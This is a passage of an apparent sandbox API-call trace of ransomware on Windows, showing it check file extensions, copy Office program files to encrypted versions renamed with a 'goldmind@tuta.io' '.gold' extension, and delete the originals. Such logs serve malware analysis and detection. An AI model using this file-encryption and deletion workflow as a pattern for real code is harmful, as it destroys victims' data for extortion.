Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.930] lstrlenW (lpString=".doc") returned 4 [0102.930] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0102.930] lstrlenW (lpString=".docx") returned 5 [0102.930] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0102.930] lstrlenW (lpString=".pdf") returned 4 [0102.930] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0102.930] lstrlenW (lpString=".xls") returned 4 [0102.930] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0102.930] lstrlenW (lpString=".xlsx") returned 5 [0102.930] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0102.930] lstrlenW (lpString=".ppt") returned 4 [0102.930] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0102.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.930] lstrlenW (lpString=".zip") returned 4 [0102.930] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0102.930] lstrlenW (lpString=".rar") returned 4 [0102.930] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0102.930] lstrlenW (lpString=".bz2") returned 4 [0102.930] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0102.930] lstrlenW (lpString=".7z") returned 3 [0102.930] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0102.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.930] lstrlenW (lpString=".dbf") returned 4 [0102.930] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0102.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.930] lstrlenW (lpString=".1cd") returned 4 [0102.931] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0102.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.931] lstrlenW (lpString=".jpg") returned 4 [0102.931] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0102.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.931] lstrlenW (lpString=".doc") returned 4 [0102.931] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0102.931] lstrlenW (lpString=".docx") returned 5 [0102.931] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0102.931] lstrlenW (lpString=".pdf") returned 4 [0102.931] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0102.931] lstrlenW (lpString=".xls") returned 4 [0102.931] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0102.931] lstrlenW (lpString=".xlsx") returned 5 [0102.931] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0102.931] lstrlenW (lpString=".ppt") returned 4 [0102.931] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0102.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.931] lstrlenW (lpString=".zip") returned 4 [0102.931] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0102.931] lstrlenW (lpString=".rar") returned 4 [0102.931] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0102.931] lstrlenW (lpString=".bz2") returned 4 [0102.931] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0102.931] lstrlenW (lpString=".7z") returned 3 [0102.931] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0102.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.931] lstrlenW (lpString=".dbf") returned 4 [0102.931] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0102.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.931] lstrlenW (lpString=".1cd") returned 4 [0102.931] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0102.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0102.931] lstrlenW (lpString=".jpg") returned 4 [0102.931] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0102.931] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0102.931] lstrlenW (lpString="INVENTRY.VRD") returned 12 [0102.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.932] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=818) returned 1 [0102.932] CloseHandle (hObject=0x398) returned 1 [0102.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 0x20 [0102.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.932] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.932] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.933] GetLastError () returned 0x0 [0102.933] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x332, lpOverlapped=0x0) returned 1 [0102.934] WriteFile (in: hFile=0x3bc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x340, lpOverlapped=0x0) returned 1 [0102.935] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.935] WriteFile (in: hFile=0x3bc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.935] SetEndOfFile (hFile=0x3bc) returned 1 [0102.935] CloseHandle (hObject=0x3bc) returned 1 [0102.935] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.935] SetEndOfFile (hFile=0x398) returned 1 [0102.936] CloseHandle (hObject=0x398) returned 1 [0102.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 1 [0102.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.937] lstrlenW (lpString=".doc") returned 4 [0102.937] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0102.937] lstrlenW (lpString=".docx") returned 5 [0102.937] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1 [0102.937] lstrlenW (lpString=".pdf") returned 4 [0102.937] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0102.937] lstrlenW (lpString=".xls") returned 4 [0102.937] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0102.937] lstrlenW (lpString=".xlsx") returned 5 [0102.937] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1 [0102.937] lstrlenW (lpString=".ppt") returned 4 [0102.937] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString=".zip") returned 4 [0102.938] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0102.938] lstrlenW (lpString=".rar") returned 4 [0102.938] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString=".bz2") returned 4 [0102.938] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString=".7z") returned 3 [0102.938] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString=".dbf") returned 4 [0102.938] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString=".1cd") returned 4 [0102.938] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString=".jpg") returned 4 [0102.938] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString=".doc") returned 4 [0102.938] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString=".docx") returned 5 [0102.938] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1 [0102.938] lstrlenW (lpString=".pdf") returned 4 [0102.938] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString=".xls") returned 4 [0102.938] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0102.938] lstrlenW (lpString=".xlsx") returned 5 [0102.938] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1 [0102.938] lstrlenW (lpString=".ppt") returned 4 [0102.938] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString=".zip") returned 4 [0102.938] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0102.938] lstrlenW (lpString=".rar") returned 4 [0102.938] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString=".bz2") returned 4 [0102.938] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString=".7z") returned 3 [0102.938] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString=".dbf") returned 4 [0102.938] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0102.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.938] lstrlenW (lpString=".1cd") returned 4 [0102.938] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0102.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0102.939] lstrlenW (lpString=".jpg") returned 4 [0102.939] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0102.939] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0102.939] lstrlenW (lpString="IPDSINTL.DLL") returned 12 [0102.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.939] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2270608) returned 1 [0102.939] CloseHandle (hObject=0x398) returned 1 [0102.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll")) returned 0x20 [0102.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString=".doc") returned 4 [0102.940] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".docx") returned 5 [0102.940] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0102.940] lstrlenW (lpString=".pdf") returned 4 [0102.940] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".xls") returned 4 [0102.940] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".xlsx") returned 5 [0102.940] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0102.940] lstrlenW (lpString=".ppt") returned 4 [0102.940] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString=".zip") returned 4 [0102.940] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".rar") returned 4 [0102.940] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".bz2") returned 4 [0102.940] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.940] lstrlenW (lpString=".7z") returned 3 [0102.940] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString=".dbf") returned 4 [0102.940] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString=".1cd") returned 4 [0102.940] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString=".jpg") returned 4 [0102.940] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString=".doc") returned 4 [0102.940] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".docx") returned 5 [0102.940] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0102.940] lstrlenW (lpString=".pdf") returned 4 [0102.940] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".xls") returned 4 [0102.940] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".xlsx") returned 5 [0102.940] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0102.940] lstrlenW (lpString=".ppt") returned 4 [0102.940] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.940] lstrlenW (lpString=".zip") returned 4 [0102.940] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".rar") returned 4 [0102.940] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.940] lstrlenW (lpString=".bz2") returned 4 [0102.941] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.941] lstrlenW (lpString=".7z") returned 3 [0102.941] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.941] lstrlenW (lpString=".dbf") returned 4 [0102.941] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.941] lstrlenW (lpString=".1cd") returned 4 [0102.941] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0102.941] lstrlenW (lpString=".jpg") returned 4 [0102.941] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.941] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0102.941] lstrlenW (lpString="IPEDINTL.DLL") returned 12 [0102.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.941] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=883600) returned 1 [0102.941] CloseHandle (hObject=0x398) returned 1 [0102.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll")) returned 0x20 [0102.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.942] lstrlenW (lpString=".doc") returned 4 [0102.942] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString=".docx") returned 5 [0102.942] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0102.942] lstrlenW (lpString=".pdf") returned 4 [0102.942] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString=".xls") returned 4 [0102.942] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString=".xlsx") returned 5 [0102.942] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0102.942] lstrlenW (lpString=".ppt") returned 4 [0102.942] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.942] lstrlenW (lpString=".zip") returned 4 [0102.942] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString=".rar") returned 4 [0102.942] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString=".bz2") returned 4 [0102.942] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.942] lstrlenW (lpString=".7z") returned 3 [0102.942] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.942] lstrlenW (lpString=".dbf") returned 4 [0102.942] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.942] lstrlenW (lpString=".1cd") returned 4 [0102.942] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.942] lstrlenW (lpString=".jpg") returned 4 [0102.942] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.942] lstrlenW (lpString=".doc") returned 4 [0102.942] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString=".docx") returned 5 [0102.942] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0102.942] lstrlenW (lpString=".pdf") returned 4 [0102.942] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString=".xls") returned 4 [0102.942] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.942] lstrlenW (lpString=".xlsx") returned 5 [0102.942] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0102.943] lstrlenW (lpString=".ppt") returned 4 [0102.943] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.943] lstrlenW (lpString=".zip") returned 4 [0102.943] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.943] lstrlenW (lpString=".rar") returned 4 [0102.943] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.943] lstrlenW (lpString=".bz2") returned 4 [0102.943] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.943] lstrlenW (lpString=".7z") returned 3 [0102.943] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.943] lstrlenW (lpString=".dbf") returned 4 [0102.943] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.943] lstrlenW (lpString=".1cd") returned 4 [0102.943] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0102.943] lstrlenW (lpString=".jpg") returned 4 [0102.943] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.943] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0102.943] lstrlenW (lpString="IPOLKINTL.DLL") returned 13 [0102.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.943] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=255920) returned 1 [0102.943] CloseHandle (hObject=0x398) returned 1 [0102.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll")) returned 0x20 [0102.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.944] lstrlenW (lpString=".doc") returned 4 [0102.944] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.944] lstrlenW (lpString=".docx") returned 5 [0102.944] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0102.944] lstrlenW (lpString=".pdf") returned 4 [0102.944] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.944] lstrlenW (lpString=".xls") returned 4 [0102.944] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.944] 